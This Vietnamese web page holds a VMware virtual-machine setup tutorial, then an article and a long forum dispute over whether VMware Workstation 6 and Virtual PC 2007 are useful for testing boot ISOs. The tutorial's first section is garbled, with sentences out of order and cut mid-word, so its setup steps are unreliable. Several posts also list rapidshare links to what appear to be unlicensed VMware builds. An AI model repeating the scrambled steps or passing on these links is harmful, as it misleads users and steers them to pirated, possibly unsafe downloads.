Để ví dụ. các bạn chọn Create a new virtual disk. các bạn có thể chỉnh tùy chọn này. tôi chọn phần đầu tiên là Use bridge networking. thông thường với một máy ảo mới. Các bạn có thể chọn luôn mặc định này mà không sợ tốn dung lượng đĩa cứng thật vì ổ cứng ảo khi sử dụng mới phình ra tương ứng tùy theo khối lượng Software mà bạn cài đặt trên máy ảo. trong ví dụ này tôi chọn 64M. Bạn sẽ có giao diện VMware như sau: . Trong ví dụ này tôi chọn là Windows 2000 Pro. bạn có thể xem lại bài viết về VMWare 2. bạn có thể chọn bất cứ tên nào và bất cứ ở đâu bạn muốn. Sau này bạn có thể gắn thêm 2-3 card mạng ảo cho máy ảo nữa cũng được. các bạn nên nhớ đây sẽ là dung lượng RAM thật mà VMware dùng trong khi máy ảo detect phần cứng. như vậy sẽ dễ quản lý hơn. nếu có yêu cầu lớn hơn hoặc nhỏ hơn. chọn next để sang bước tiếp theo. nhưng các bạn nên chọn đúng Hệ điều hành mà mình muốn cài vì VMware sẽ support tốt OS đó hơn nếu như bạn chọn đúng và cài đúng. Chọn Finish để kết thúc quá trình tạo máy ảo. chọn Next. bạn có thể chọn giá trị mặc định của VMWare thì đĩa cứng ảo sẽ tạo trong cùng thư mục với máy ảo. Ổ cứng này có dung lượng tùy thuộc bạn quy định và cũng là phần cứng mà máy ảo sẽ detect được sau khi Power on máy. có nghĩa là bạn chọn 4Gb cho máy ảo không có nghĩa là lập tức bạn mất đi ngay 4Gb khoảng trống.0 để xác định cấu hình máy cũng như dung lượng RAM mà máy của bạn nên có). Đây là phần các bạn cấu hình giao tiếp mạng của máy ảo. thật ra bạn có thể chọn là Win2000 Pro và sau đó lại cài là XP thì vẫn OK. Chọn next để tiếp tục. toàn bộ data trên 1 partition có sẵn của bạn sẽ bị mất hết! Nếu bạn chọn Create a new virtual disk. Nếu bạn chọn phần cuối cùng . Tuy nhiên. Chọn Next để tiếp tục.Do not use a network connection . Đối với một máy ảo bất kỳ các bạn phải tạo một ổ cứng tương ứng cho nó hoặc có thể dùng một ổ cứng ảo có sẵn. máy ảo của bạn sẽ có 1 card mạng "ảo" để nối mạng với máy thật. hoặc thậm chí dùng 1 partition trên máy.thì máy ảo của bạn sẽ không có card mạng. Chọn Next để chuyển sang phần chọn dung lượng memory: Bạn chọn dung lượng RAM cho máy ảo của mình. (ghi chú. Chọn Next để chuyển sang phần tiếp theo. các bạn sẽ thấy màn hình tương tự như sau: Chọn Hệ điều hành bạn muốn cài trên máy ảo.hành mà mình muốn cài. Phần Use a physical disk bạn đừng nên chọn nếu như bạn không biết chắc là bạn đang làm gì vì nếu không cẩn thận khi chọn phần này. mặc định là 4Gb. chương trình sẽ cho phép các bạn chọn dung lượng ổ cứng dành cho máy ảo. Nếu bạn chọn 1 trong 3 phần còn lại. Cuối cùng là chọn tên file để tạo đĩa cứng ảo.

. cài Windows.Bạn có thể lặp lại quá trình trên nhiều lần để tạo ra nhiều máy ảo khác nhau. các bạn sẽ có giao diện như sau: Máy ảo sẽ bắt đầu chạy. Các bạn có thể thao tác trên nó một cách bình thường như fdisk. nhấn tổ hợp phím Ctrl + Alt. Ví dụ như khi muốn bàn phím có tác dụng trong máy ảo các bạn click chuột và trong ô cửa sổ đang chạy máy ảo.. bạn sẽ có 1 VGA Card 16 màu. với các thông số kỹ thuật là 64Mb RAM. Bạn có thể cài driver cho card ảo này để nâng số màu lên bằng cách chọn menu Settings -> VMWare_Tools Install (nhấn vào nút Help ngay tại . Trong hình trên tôi đã tạo 2 máy ảo.. các bạn có thể yên tâm vì bất kỳ thao tác nào thực hiện trên máy ảo đều không gây nguy hiểm gì cho máy chủ của bạn. office . thậm chí khi boot máy ảo (Power on). 1 ổ CD ROM (dùng ổ CDROM của máy thật) và 1 ổ cứng 4Gb chưa fdisk và format gì cả. bạn chọn một máy ảo nào đó.v. ví dụ như Windows 2000 Professional. partition (và các bạn phải làm điều này vì đĩa cứng mới này là hoàn toàn trống trơn. Tuy nhiên trong quá trình chạy máy ảo các bạn cần biết thêm một số chú ý như sau: * Máy ảo hoàn toàn độc lập với máy chủ nên các bạn hoàn toàn không có cách nào copy software từ máy chủ qua máy ảo. trừ khi bạn chọn phần Use an existing virtual disk ở bước tạo đĩa cứng và đĩa cứng ảo này đã được fdisk và format trước rồi!). Để boot máy ảo lần đầu tiên các bạn có thể dùng đĩa mềm hoặc đĩa CDROM. ổ đĩa mềm (dùng ổ đĩa mềm của máy thật). tổ hợp phím để thoát khỏi chế độ fullscreen là Crtl + Alt. trừ khi bạn "nối mạng" được giữa máy ảo và máy chủ thật (mà bước này chỉ có thể được thực hiện sau khi bạn cài đặt thành công hệ điều hành cho máy ảo). để lấy lại quyền kiểm soát chuột và bàn phím trên máy chủ. Tiếp theo là cài đặt hệ điều hành cho máy ảo và sau đó bạn có thể boot thẳng vào hệ điều hành trên máy ảo. một máy là Windows XP Profesional và một là Windows 2000 Professional. Để bật máy ảo. * Máy ảo có một số phím chọn mà các bạn phải ghi nhớ.ảo). kích vào nút Power on trên thanh công cụ ở phía trên để bắt đầu chạy máy ảo. * Để reboot lại máy ảo các bạn có tổ hợp phím Ctrl + Alt + Insert hoặc click nút Reset trên thanh công cụ phía trên. các bạn chú ý rằng đây là một máy mới hoàn toàn (dĩ nhiên là... như một máy tính mới hoàn toàn. * Mặc định sau khi cài hệ điều hành cho máy ảo.v . * Các bạn có thể chạy máy ảo ở chế độ Full Screen để mô phỏng như thật.

Cá nhân tôi đã thử nghiệm nhiều tuần liền trên cả 2 phần mềm và thật đáng thất vọng: chúng không thể nào thay thế được chuyện ghi ra đĩa CDRW được cả.com.vn/echiproot/weblh/suutam/2003/ddth/vmware/VMWar e3. Giờ đây.6.com hoặc thanhphuhtv@vol. http://rapidshare. XP home.rar http://rapidshare. Bạn có thể tải về 2 phần mểm ấy thử nghiệm. Virtual PC 2007 và Vmware station 60 ngoài chuyện chạy thử file ISO hay từ CDROM. đỡ phải mua nhiều đĩa CDRW để ghi lại các file ISO làm ra. .0.com/files/31495752/VMware.45731.rar hoặc Virtual PC 2007 tại đây: http://rapidshare. như là Virtual PC 2007 và Vmware station 60. xem qua cho biết mà không sao ghi lại hình ảnh những gì mình thích do MS-DOS không có chức năng đa nhiệm giống như Windows. mỗi lần chạy các chương trình trong MS-DOS thường chúng ta chỉ thấy.com/files/31330370/VMware. part1.Workstation.Final.com/files/45800013/Portable_Microsoft_Virtual_Pc_2007. WinME.0.0.0.htm +++++++++ VIRTUAL PC 2007 và VMWARE STATION 60 liệu có hữu dụng thực sự? Ngày 26 tháng 3 năm 2008 XHTTOnline: Nhiều bạn rất thích dùng các phần mềm tạo ra thêm các PC ảo ngay trong máy tính của mình.45731. mọi thắc mắc xin gởi về thanhphuhtv@yahoo. Linux vào ngay trong XP professional của máy tính. Thân ái! http://www.com/files/31522252/VMware.Workstation.echip. Đa số thường hiểu sai cho là có thể dùng chúng để thử nghiệm chạy thử file ISO.Final. còn có chức năng chung giống hệt nhau: Chúng có thể giúp bạn cài và chạy thêm hệ điều hành ảo khác như là Win98. quan trọng vì sẽ tiết kiệm cho chúng ta rất nhiều. part3.6. Chúc các bạn thành công.rar http://rapidshare.0. điều này lại quá dễ với 2 phần mềm tạo PC ảo vừa nói trên.0.bước này để xem hướng dẫn. part2. nhấn vào nút Install để bắt đầu cài đặt).vn hoặc gởi lên diễn đàn.Final.6.rar Điều này thực sự đúng không? Nếu quả thật vậy.Workstation. Vì sao lại thế? Trước đây.vnn.45731.

4 chẳng hạn thay vì CDROM. Bạn có thể chụp ảnh những gì ở menu của Hiren có. test ổ cứng. modem và quan trọng nhất là ổ cứng chính của máy tính nó càng không thể nhận ra.Bạn cứ việc cài Vmware station 60 ngay trong WinXP. Trường hợp khác là khi bạn ghi xong file pebuilder 3110A. bạn cần phân biệt máy khách (guest) có Hiren 93 iso đang chạy.Bạn muốn chạy thử Partition Magic 8.D. nó cũng không nhận ra card sound.) mà chỉ có ổ đĩa ảo có 4GB màVmware 60 đã tạo ra tạm trong ổ cứng của bạn thôi.05 hay Ghost 11.01 trong máy ảo này xem thế nào ư? Nó sẽ báo lỗi ngay lập tức vì không tìm ra ổ đĩa chính (có các phân vùng C.. Do phải bảo toàn dữ liệu. E. Chọn tiếp vào mục Start this virtual machine này. nên việc thêm vào ổ cứng (raw hard disk) theo như khuyến cáo quan trọng của Vmware là chỉ dành riêng cho chuyên gia. Như thế.sys). nhưng là bên trong Win XP. Tất cả diễn tiến thật bình thường y như bạn boot máy tính bằng CD có Hiren vậy.. bạn hết thử nghiệm gì được nữa. còn máy có XP lại chính là máy chủ (host). trước đó trong Vmware 60.4 này. chọn vào New virtual machine drive và chọn edit virtual machine để thay đổi memory và chạy thằng file iso như Hiren 9. Cho đến khi hiện ra menu cho từng tác vụ của Hiren 94 như là phân vùng với Partition Magic 805. Sau đó. cổng COM3 thế nào. còn giai đoạn sau chạy thực thụ cho riêng từng chương trình là nó bù tất.. Files manager .iso (bạn có chỉnh lại) có hư gì ở giai đoạn đầu (trên 2 file autoexec. Với PC ảo. thí dụ mở Windows Explorer bạn sẽ .. Tôi khuyên bạn không nên bao giờ làm thử điều tối nguy hiểm nói trên. Chạy file pebuilder 3110a. chuyện bạn chạy thử chỉ giúp biết file Hiren.. để biểu diễn cho bạn bè vui thôi bằng cách dùng ngay nút Snapshot của Vnmware 60 (khó dùng) hay Smartcapture 1.92 hoặc Screen hunter 40 nằm trong XP để lưu lại. Dù bạn có add (thêm) card âm thanh. sao lưu ổ đĩa với Ghost. tất cả đều ổn kể từ lúc khởi động màn hình có chữ màu vàng boot wizard đến khi khởi động xong vào XPE với desktop và các shortcut hiện đầy đủ trên ấy. nó sẽ mở thêm cửa sổ ngay trong desktop của XP để bắt đầu chạy file Hiren.bat và config.iso với Vmware trong XP.iso (hoặc XPE) và muốn chạy thử bằng Vmware xem thế nào liệu có bị hư gì boot không? Tất cả lại cũng gần giống như chuyện chạy thử Hiren93 iso.ISO 9.

Nó chỉ nhận ra 2 thứ đơn giản là ổ CDROM.***. ổ mềm A mà thôi.** Re VM Tôi thấy bài viết này ko có điểm nào triết lý. chắc chắn chúng không làm được cho bạn rồi. Bạn muốn cập nhật driver cho phần cứng trong XPE là chuyện thật vô ích.com/files/102412484/How_to_Cheat_at_Configuring_VMWar e_ESX_Server. Giá mua bản quyền phần mềm Vmware 60 là 299USD và liệu nó có thật sự đáng mua khi bạn đã đọc xong bài này không? Dương minh Hoàng Đã được đọc: 5175 lần PTN Email: ptn611@*****. Nếu ai có hứng có thể liên lạc qua mail trên. Tóm lại.rar VMware Full: http://rapidshare. dùng phần mềm tạo PC ảo rõ ràng không ích gì nhiều cho bạn trong thử file ISO: Nó không phản ảnh thật chính xác file ISO như lúc ghi ra đĩa. card TV nên bạn không thể nào thử chơi nhạc gì được ở đây.*** VMWare Full + Ebooks Ebook huong dan chi tiet ve VMWare: http://rapidshare. Cách đây mấy năm tôi có dùng VMWARE 4.không thấy ổ cứng 40GB nào cả. chỉ có ổ đĩa ảo do Vmware làm ra có 4GB. nó không nhận ra card sound modem. Bạn vẫn còn phải tốn tiền dài dài để mua đĩa CDRW thử để nghiệm cho thật chắc ăn. Những chuyện khác cao siêu hơn. VMWARE 5. k3lvinmitnick Email: k3lvinmitnick@*****. đúng bạn chỉ cần đến Vmware 60 hay Virtual PC2007 là khi bạn cần chụp lưu lại hình ảnh trong DOS (Hiren).0 thấy nó phản ánh đúng thực chất của 1 PC như bình thường. Theo ý riêng của tôi. Có thể tác giả mới dùng thử thời gian ít nên mới chỉ như cưỡi ngựa xem hoa. Nói nhiều không tiện.com/users/ACMLUO DrHoang .5.

. Tôi không phải dân pro nên mới test đến vậy thôi nên không thấy nó hoạt động y như 1 PC thường bao giờ. xem TV. thâu TV. Cu the la tinh nang cua cac PM VirtualPC hay VMware.***. không có gì tranh cải với bạn khi bạn chứng minh bằng 1 bài viết khác thật dầy đủ hơn.org VMWare Server VMWare có bản server cho download và sử dụng miễn phí http://www.*** Địa chỉ: HN Dung chet vi thieu hieu biet hoac vi biet qua nhieu. Nếu bạn nói làm được thành công mọi thứ trên máy ảo. điều khiển máy in hay wireless nhé.** Địa chỉ: free4vn.vmware.*** trả lời Bạn PTN. cám ơn nhiều Tôi rất chịu học hỏi kinh nghiệm.. Theo toi Thi ban Hoang chua co cai nhin dung ve Ao Hoa..com/content/registration. Dr Hoàng Ham_Hoc_IT Email: abc@*****. nhận mình sai.html Dr Hoang Email: drhoang@*****..*** trả lời 2 bạn gop ý .Email: drhoang@*****. xin viết bài bổ sung cách làm sao nghe nhạcvới card sound.. centos5f4vn Email: centos4_vn@*****. cái nào chưa rành sẳn sàng khắc phục. Nen doc nhieu hon truoc khi phat bieu Dung chet vi thieu hieu biet hoac vi biet qua nhieu thu (khong den dau den du~a).vmware. quay modem.com/download/server/ Đang ký serial ở đây: http://register.

. bạn vẫn làm ghost back up restore cũng được sao mà theo bạn nó làm ghost cho ổ nào C. Dr Hoàng . Nhưng khi phê bình như vậy. Điều này y hệt như tôi chưa bao giờ gặp ma mà sao tôi phải tin bạn nói đã gặp ma (không một ai xác minh ngoài bạn ) hay có ma cho được đấy đó. Cám. hay ổ D? Phân vùng bằng Partition magic 805 trong máy ảo được cả sao? Ổ nào xin bạn cho biết. Tiết lộ của bạn nói là Vmware có thể chạy y như 1 máy PC thật. không ai có thể biết hết mọi chuyện nên tôi không có gì mặc cảm. Rất mong được bậc pro về Vmware hướng dẫn từng bước ở đây. cũng mong bạn chứng minh bằng bài viết và giải thích rõ từng câu hỏi tôi đã nêu với bạn PTN trên: Đó làm sao máy ảo. Hay tối thiểu máy ảo có làm ghost back up hay restore được không? Còn nếu bạn không chứng minh được câu hỏi nào cũa tôi cả. Wireless trong máy ảo cũng không cần driver.Bạn PTNthân mến. tại hạ phải xin học hỏi và ai cũng muốn biết bạn làm sao. Kiến thức tin học là vô hạn.ISO máy ảo. XP reg gì cả hay sao? 4) Ra lệnh cho máy in trong máy ảo khỏi cần driver. ashamed mà cần phải học hỏi thêm bạn bè. in văn bản được. chạy card sound Audigy creative. Mong bạn giúp cho 1 bài viết thật hay hay một vài dòng hướng dẫn làm thành công về những câu hỏi của tôi. XP Reg . ra lệnh máy in. quả cực kỳ thù vị. reg mà vẫn in văn bản được trong máy PC hay laptop cả. @ Bạn Ham_Hoc_IT Bạn phê bình tôi chưa nhìn đúng vể ảo hoá hay đừng chết vì thiếu hiểu biết có thể quá đúng đấy vì tôi chưa phải bậc pro vể môi trường ảo. để học hỏi thêm bậc pro như bạn? 2) Bạn không cần driver Creative. thì đúng máy ảo là bậc siêu sao rồi. cài đặt vẫn nghe nhạc bằng card sound Audidy trong máy ảo được sao? 3) Kết nối bằng Modem. ơn bạn thật nhiều đâý. nối mạng qua Wireless mà khỏi cài khỏi driver và registry.. 1) Chạy Hiren 94. tôi lại nghĩ là bạn nói suông không một ý nghĩa nào cả .

Rất nhiều người đã hỏi cái này và hy vọng máy ảo nhận được card thật. Nhưng trên thực tế.. Tất nhiên khi đó ổ cứng /partition thật sẽ bị cả hệ điều hành thật/ảo đọc/ghi. nhu cầu để làm việc đó không nhiều. Như thế sẽ có thể có xung đột.Một số thiết bị phần cứng khác mà chương trình máy ảo không nhận được..centos5f4vn Email: centos4_vn@*****.** Địa chỉ: free4vn. xem phim được.. bài viết trên khai thác vào yếu tố mà việc ảo hóa lại không quan tâm.*** Địa chỉ: 5/10 Nguyễn Du . Tôi sử dụng máy thật dùng wireless để vào Internet. Máy ảo dùng mô phỏng card mạng riêng. Một số thông tin sau sẽ giúp người đọc hình dung: . máy ảo dùng driver ảo và dùng Internet cũng nhưng các kết nối khác qua card wireless trên máy thật. Máy ảo được tính cho những vấn đề khác hơn là phải bắt buộc mô phỏng tất cả các thiết bị. Tạ Chí Bảo Quốc Email: tamtran56@*****. Tuy nhiên các chương trình cũng cho phép sử dụng ổ cứng /partition thật để làm việc cho nhanh. . Theo nguyên tắc. . người ta thường ghi file mô phỏng ổ cứng lên một ổ cứng khác với ổ cứng chạy hệ điều hành thật. .Mô phỏng ổ cứng: các chương trình dùng một dạng file có cấu trúc để mô phỏng ổ cứng.***.. VMWare. nghe nhạc được. đơn giản là nó không có mô phỏng tương ứng.Card sound tren VMWare cũng có mô phỏng. QEMU. Để hiệu quả. . Nên trên máy ảo sẽ thấy tên card mạng khác.org Ảo hóa? Hiện bây giờ có khá nhiều chương trình cho phép mô phỏng PC. không dùng card thật và giao tiếp với card thật qua cơ chết NAT hoặc cơ chế gì thì do chương trình sẽ thực hiện. Virtual PC.trong đó VMWARE Stationthì hay hơn và y hệt như máy thiệt. việc mô phỏng hoàn toàn có thể làm được.chả có gì đáng bàn cả.Long Xuyên An Giang Tel: 0947971803 Ảo hóa Cho tui nói câu công bình nha : Dùng 2 phần mềm đó . Máy ảo sẽ không phân biệt card mạng wired hay wireless mà chỉ làm việc qua driver ảo.Mô phỏng card mạng: Cần phân biệt card mạng thật khác với card mạng trên máy ảo. kết nối chia sẻ mạng được tuốt . Virtual Box là một dạng mô phỏng hoàn toàn.Ứng dụng của máy ảo rất đa dạng. Ghost được.

chỉ cần cắm dây LAN giữa 2 máy là xong. 2) Bài viết ấy không phải nói hết về công dụng máy ảo như bạn gợi ý là máy ảo không quan tâm nhưng đề cập xài máy ảo liệu thiết thực cho new bie điểm gì.. khi nó không có driver. đơn giản là nó không có mô phỏng tương ứng. Chí mà rắc rối đến thế .*** trả lời Hi all .).vmware. 3) Bạn nói card sound có mô phỏng luôn nhưng điều quan trọng có nghe nhạc card Audigy được ở máy ảo không.tuồn tuột. registry không ? Nếu nghe nhạc không được. phải qua máy thật thì dùng máy ảo ích lợi gì ở đây? Tôi chả hiểu sao có bạn PTN lại khen máy ảo y như PC thật ( unbelievable !!!): ở điểm nào vậy? iếp theo 4) Bạn lại cho rằng “Một số thiết bị phần cứng khác mà chương trình máy ảo không nhận được. Máy ảo được tính cho những vấn đề khác hơn là phải bắt buộc mô phỏng tất cả các thiết bị.” Tôi thì nghĩ khác vì máy ảo không dễ dàng lúc nào mô phỏng được phần cứng máy thật. nhu cầu để làm việc đó không nhiều.. Theo nguyên tắc.khỏi mất công cài nè. dùng wireless ở máy ảo không được....( đây không nói dân pro đâu nhé. Hoan hô vài lời góp ý giá trị của Cento về chuyện mô phỏng ổ cứng ở máy ảo nên xin thêm ở tựa đề bài viết là liệu có hữu dụng cho newbie không? 1) Nội phải bao nhiêu trang đọc chuyện nối mạng qua LAN Vmware server ở link http://www.com/download/server thấy phải dùng biết bao dòng lệnh phức tạp trong khi đó máy PC thật. Nhưng trên thực tế.để dành khi hư Windows tui sẽ có để ghost lại. việc mô phỏng hoàn toàn có thể làm được.. nào cũng sẽ thành công nên khó nói như bạn hoàn toàn có thể làm được. Nhu cầu đó bạn cho là không nhiều nhưng tại sao bạn PTN lại cho máy ảo là y . drhoang Email: drhoang@*****.Bác Hòang ơi Thậm chí tui còn tạo một bản ghost cho hệ điều hành máy ảo.

nối mạng wireless y như máy thật vậy( chính bạn nói đấy nhé) ? Còn bạn Ham_Hoc_IT hay nói đừng chết vì thiếu hiểu biết.CD. xem TV. thêm một lần nữa ở máy ảo Vmware dù là load CD hay ISO. xem TV hay wireless gì được nữa Vậy cháu nói hệ điều hành test bằng ISO trên máy ảo là thứ OS nào đây? Linux thì chịu thua Audigy card rồi. ERCD 2005? hay Linux? Chỉ có XPECD còn nghe nhạc xem TV .như PC thật? Đồng ý máy ảo có nhiều công dụng đa dạng thật theo góp ý của bạn. ISO ).***. ERCD 2005 cũng vậy . nối mạng qua wireless trên CD read only rất tốt . WinPE . Vậy thì máy ảo giống máy thật ở điểm nào?? Xin các bạn IT pro về máy ảo chỉ dẫn điểm nào sai của tại hạ.. Cháu được XPE CD hay XPE ISO tới giai đoạn cuối rồi sao và cháu làm thành công ra đĩa CD multiboot vừa có XPE và Hiren được sao? Chứ cháu nói hệ điều hành trong máy ảo của cháu là chạy hê OS nào: XPE hay. nghe nhạc. Dr Hoàng DrHoang Email: drhoang@*****.org . ISO ở máy thật quá tốt. tiện đây xin tại hạ cho phép hỏi bạn đã chạy hệ điều hành nào hay thế (đã test bằng ISO hay CD) bên trong máy ảo tốt vậy ư? Chơi được đủ thứ từ nghe nhạc. Bạn PTN. Tiếc là nó chỉ dành cho dân lập trình nghiên cứu có lý nhất mà không thể nào gọi là ý nghĩa thiết thực gì cho new bie ( ngoài chuyện test thử nghiệm giai đoạn boot CD. WinPE cũng thế Bart’s PE. 5) Tôi thử nghiệm Hiren boot. xem phim nối mạng ư? Thế bác chỉ xin hỏi cháu một câu thật đơn giản này thôi nhé.ISO test bằng máy ảo không nghe nhạc. điểu khiển máy in. Vmware cứ load CD driver là đứng luôn nói là Boot CD files not found. thâu TV. Cháu nói máy ảo chạy ghost được. Bác chạy XPE.*** bổ sung Cháu Quốc thân. Tôi chỉ thấy Hiren boot CD chạy ở máy thật dễ dàng không chút khó khăn nào cả. hay biết quá nhiều: xin trả lời directly ngay câu hỏi ấy (hệ OS nào) đi nào? Dr Hoàng centos5f4vn Email: centos4_vn@*****.** Địa chỉ: free4vn.

fdisk.. Giang Email: yellowriver2883@*****.. Người tao bảo biết thì thưa thốt. ghost. bạn hãy dành thời gian test nhiều hơn về máy ảo trước khi post bài nhé. Máy ảo thực tế không quan tâm đến phần cứng thật mà giao tiếp với phần cứng thật qua các driver của phần cứng đó trên hệ điều hành. đối với người sử dụng không khó.Việc kết nối ra mạng của máy ảo. Nhớ lại lúc trước đi học có học về môn gì đó (hệ điều hành thì phải) cứ phải viết các ứng dụng bằng pascan để đọc các thanh ghi. DrHoang có thể kiểm tra những cái mà VMWare hỗ trợ.hix.Trên máy ảo chạy file âm thanh và nghe được loa ở máy thật.*** May Ao kha can thiet giả lập máy ảo là một điều khá cần thiết. Việc sử dụng máy ảo để test mấy cái ứng dụng dos (PQ magic. Lúc đó dùng virtual PC mới thấy cái máy ảo thật có ích.Máy thật nối internet qua wireless.Về phần cứng. Ram >1G. Thành Luân Email: thanhluan34@*****. Máy ảo cũng kết nối được internet qua kết nối đó. Cái ổ cứng giả lập của nó dùng để chạy các bài tập dos nguy hiểm dễ làm hỏng ổ cứng thoải mái luôn. XP tiny 2.Driver? Với máy thật dùng XP. HDD 160) bạn có thể chạy 3 máy ảo một lúc để thực hiện các tác vụ về mạng. Trong trường hợp máy có 2 card mạng thì lúc đó mới phải để ý. Bác Hoàng không nên viết bài theo kiểu "phiến diện" như thế. XP Pro. . Mandriva 10..*** HI Càng nghe cái bác Hoàng này nói thì càng bực mình. không biết thì dựa cột mà nghe. Và tất cả các OS trên đều hoạt động tốt trong mạng. đọc bootsector.) chỉ là chuyện vặt thui.. nếu chịu xem hướng dẫn.. Như vậy được chưa? 3. máy ảo dùng 2003. server rất tốt. của ổ cứng và liên tục phải khởi động lại máy. hiện nay tôi đang cài trên máy ảo VM6: Vista. 4. Như thế đc chưa? 2.8. và hồi trước thì cả win server để làm webserver rùi. Tôi đã chạy máy ảo như sau: 1. nhất là những người mới học IT. Trên thực tế với một PC khá mạnh (vd: core2 1. dễ gây hoang mang cho bạn đọc.

cái dở để bạn đọc có thể xem và hiểu rằng mình có nên sử dụng máy ảo hay không.VirtualPC làm gì? Các bạn đúng khi cho máy ảo giống PC thật như duyệt web. Bài viết nên chia sẻ theo kiểu "hoà bình". Sử dụng máy ảo để test và thực hiện việc học trong môi trường network là rất cần thiết. và sử dụng vào mục đích gì. không lẽ để học việc thiết lập mạng. Các bạn nên nhẹ nhàng góp ý cho nhau. . bác cũng hiểu rằng mình là dân viết lách. Nhưng trong XP ảo ấy nếu dùng test những phần mềm không đòi hỏi driver phần cứng dặc biệt như Audigy. sẽ dễ diễn đạt. còn người tuy hiểu biết nhưng họ không biết diễn đạt ra câu chữ thì sao. nếu là dân "nhà nghèo" thì sử dụng máy ảo để học thiết kế mạng là rất tối ưu. mình phải đầu tư ra 4 5 máy để học sao. Cám ơn các bạn gòp ý nhjiêù về máy ảo nên tôi buộc lòng sáng nay bay ngay đi TP CM tìm gặp 3 chuyên viên IT Pro ( tầm cỡ Cento 5 )xem họ biều diển làm được những về Vmware và Virtual PC 2007 cũng như họ nói gì quan điểm đối nghich giữa tôi và các bạn. Hai bên đều khác với chủ trương mục đích khi dùng Vware. DVD máy ảo không thể nào mô phòng chính xác được.. không nên "cá nhân hoá" quá.Nếu viết bài theo kiểu "phân tích" thì nên viết cả cái hay. nghe nhạc card sound mô phòng trong XP ảo.. đánh văn bản. Đúng là giữa chúng ta có sự hiểu lầm thật tai hại về cách dùng Vmware. XPE còn ngược lại các bạn lại dùng XP trong máy ảo để test phần mềm cài vào nên mới cho là giống PC thật nên 2 bên cải nhau không đâu vào đâu. DRHoang Email: drhoang@*****. không nên "áp đặt" như thế. Virtual : Tôi chỉ dùng phần mềm ảo để test ISO. Driver máy ảo mô phỏng hoàn toàn không giống như XP nên việc đánh giá cũng tương đối . CD cũa Hiren.Một thời gian chạy trong XP thật xung đột với các phần mềm khác mới có chứ. vì thực ra chả có ai là giỏi cả. card TV để thâu TV.*** trả lời Chào các bạn góp ý cho bài viêt . như Bác Hoàng nói.. bạn nào dám chắc là mình giỏi thực sự hết không. Việc viết bài để chứng minh..

Chạy Hiren ISO trong 2003 liệu có thấy ổ C máy tính ghost cứu hộ. Xin vui lòng sửa lại là Shadow defender 10 Cám ơn các bạn.*** bổ sung điểm sai Hi all. dùng thử nghiệm phần mềm ư hay mọi cái gì đều làm được trong XP à? Bạn biết khi có 2 file ghost C. File ghost ấy restore lại cho ổ C khi hết vào 2003 không? Tôi còn nghĩ khác các bạn đang chạy có Vmware quá thừa thải. Có gì phải sợ đi test phần mềm trong XP máy ảo ngoài chuyện đã chậm hơn máy chủ và chưa chắc chính xác y như XP máy chính ( còn tiếp) Dr Hoáng DrHoang Email: drhoang@*****.@ Bạn Cento . do quá gấp reply nên phần tiếp theo tôi đã đánh nhầm phần mềm tạo ổ đĩa ảo là Power data recovery 10 .Lãnh vực nào mình chưa rành vẫn còn phải học hỏi thêm ở bạn bè. Lại do quá gấp nên phần reply Mr Cento cũng lại sai 1 câu này:: " File ghost ấy restore lại cho ổ C khi hết vào 2003 không? " . D thì khi trục trặc hết vào XP dược Với mổi ổ chỉ cần restore file ghost là 3 phút sau là bình thừơng. Các chuyên gia tại Saigon nói hoàn toàn không được. Bạn cho chạy 2003 ảo trong XP còn hợp lý một tí nói nghe nhạc nhưng giả lập chất lượng âm thanh có y như card cao cấp không? Card TV có làm được có xem thâu TV được không. Chỉ cần trao dổi lịch sự là quá tốt thôi. Thành thật xin lỗi các bạn. PM hay chỉ là ổ ảo thôi. nếu thấy hứng thú .*** chìn lại câu sai Hi all. Dr Hoàng DrHoang Email: drhoang@*****. Mong được các bạn góp y tiếp.. tôi quan niệm đơn giản thế đó.

tôi thấy bác hay nhấn mạnh việc bác nhiều tuổi. và gọi những người khác là cháu. Bao giờ tôi cũng nghĩ mình là dân không chuyên về tin học amateur. hậu bối. bạn góp ý tôi đã nhiều lần nhắc tôi nhiều tuổi. là những lúc nào vậy? Chỉ có 1 lần duy nhất khi Mr Pro gọi tôi là anh ta ( 1 từ thiếu lịch sự ) tôi mới báo lại cho anh bạn ấy biết tôi nhiều tuổi thôi. vài góp ý nhỏ vậy thôi. Tôi nghĩ trong thế giới công nghệ này. bác cứ nhắc mãi chuyện bác nhiều tuổi trên này làm gì. còn phải học hỏi nhiều dân IT pro. drhoang Email: drhoang@*****. Tôi dùng chữ cháu. xin bạn minh chứng.*** trả lời bạn Chương @ Bạn Phạm Chương thân. Dr Hoàng Pham Chuong Email: chuongpt@*****. ngoài ra bao giờ cũng dùng chữ anh bạn. Xin lỗi bạn Chương nhé. Rồi bác hay bảo bài bác viết cho new babie.File ghost ấy liệu có restore lại cho ổ C thành công. mong rằng bác không phật ý.*** Tel: Da Nang Góp ý Tôi đọc một số bài của bác Hoàng. chỉ khi nào họ xưng với tôi trước là bác. Tôi có nói bài viết tôi dành cho new babie hồi nào. nó không đồng nghĩa với việc bác xuất sắc hơn những người trẻ. Vậy theo bạn tôi cứ nhắc mãi nhiều tuổi hồi nào. Chữ ấy bạn đánh sai rồi. khi máy tính hết boot được vào XP không? Sorry. mọi người đều học hỏi thì không nên nhấn mạnh vấn đề tuổi tác làm gì. . Điều gì bạn nói tôi nghĩ là nhiều tuổi xuất sắc hơn người trẻ? ( hay chỉ mình bạn suy diễn điều quá xấu ấy ). dù trẻ hơn mình. đúng là newbie (dân không chuyên mới quen với tin học ).

có 1 bạn nào khác có được title Platinum member ( viết. tạo ổ đĩa ảo tuỳ thích như ổ C. D ngay cả có chép vào XP registry cũng không sao cả . Dùng Shadown defender 10 có phải dễ dàng hơn ở môi trường thật chạy trong XP chỉ có C. Khi bạn reboot máy lại tất cả biến hết vì là đấy toàn là những ổ ảo kia mà. Tha hồ cài phần mềm tá lả bùng binh ở ổ C. Vmware hay Virtual PC có thể hơn Shadow defender.911cd. một ngày không cập nhật thông tin mãi sẽ lạc hậu. bỏ ổ E ra vẫn được. D. Nói đùa tí chút là tôi chỉ là 1 dân pro về XPE đấy. CD đuợc.*** phần 2 tiếp chỉnh lại ( tiếp theo chỉnh rồi ) Ngoài ra nếu các bạn cứ thích máy ảo thử nghiêm phần mềm trong XP tôi xin giới thiệu Shadow defender 10. Còn cháu ở An Giang làm mọi thứ ngay cả ghost được thì các chuyên viên cho là sai hoàn toàn vì máy ảo chỉ ghost được ổ ảo. Ngay cả chuyện modem. trả lời tiếng Anh hơn 1000 lượt thôi) qua mặt tôi cái vèo ở tại Bart’s PE forum thôi( www.Kiến thức tin học cũng như y học là vô hạn. D là ảo tạm thời thôi. sáng tác.net/forums 